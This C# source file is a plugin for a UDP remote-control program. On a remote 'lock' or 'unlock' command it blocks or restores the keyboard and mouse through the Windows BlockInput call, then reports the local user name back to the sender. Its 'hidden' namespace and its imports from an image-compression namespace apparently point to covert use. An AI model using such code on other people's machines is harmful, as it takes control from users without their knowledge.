﻿using SimpleConnection_UDP_WIN.extension_class.utils;
using SimpleConnection_UDP_WIN.interface_class;
using SimpleConnection_UDP_WIN.utils.UDP;
using System.Runtime.InteropServices;
using WindowsImageCompressionApp.utils;

namespace SimpleConnection_UDP_WIN.extension_class.hidden
{


    internal class KeyAndMouseCtrl : PluginAbstractClass, PluginBaseInfoInterface
    {


        //传入命令的关键协议名，如 协议名为 a ， 那么这个类只能接受  a://这种协议
        public const string Protocol = "key&mouse";

        //必须保留空构造
        public KeyAndMouseCtrl()
        {
        }


        //必须拥有传入 消息的构造
        public KeyAndMouseCtrl(string message, string ip, int port) : base(message, ip, port)
        {
            this.message = message;
            this.ip = ip;
            this.port = port;
        }



        //插件的 各种信息
        public string Name => "键盘鼠标控制类";
        public string Describe => "控制键盘鼠标锁定与解锁，需要管理员权限";
        public string Version => "1.0.0";
        public string Help => "key&mouse://lock  或  unlock 进行锁定键盘鼠标。";

        /// <summary>
        /// 主要执行方法，在此处 可以调用 MessageParsingClass 的方法来帮助解析 message
        /// </summary>
        public void exec()
        {
            //判断是否验证了密码
            if (MessageParsingClass.isAdmin(message))
            {

                if (!DBUtil.currentIsAdmin())
                {

                    new UdpTool(ip, 8871).SendMessage(GetType().Name, $"{DBUtil.getLocalUserName()} 未运行在管理员权限上");
                    return;
                }

                if (MessageParsingClass.getText(message).Equals("lock"))
                {

                    BlockInput(true);

                    //返回给 它 的信息，默认发送到 8871
                    new UdpTool(ip, 8871).SendMessage(GetType().Name, $"{DBUtil.getLocalUserName()} 的键盘鼠标已经锁定");
                }
                else if (MessageParsingClass.getText(message).Equals("unlock"))
                {

                    BlockInput(false);

                    //返回给 它 的信息，默认发送到 8871
                    new UdpTool(ip, 8871).SendMessage(GetType().Name, $"{DBUtil.getLocalUserName()} 的键盘鼠标已经解锁");
                }


            }
        }

        /// <summary>
        /// 锁定键鼠
        /// </summary>
        /// <param name="Block"></param>
        [DllImport("user32.dll")]
        static extern void BlockInput(bool Block);

    }
}
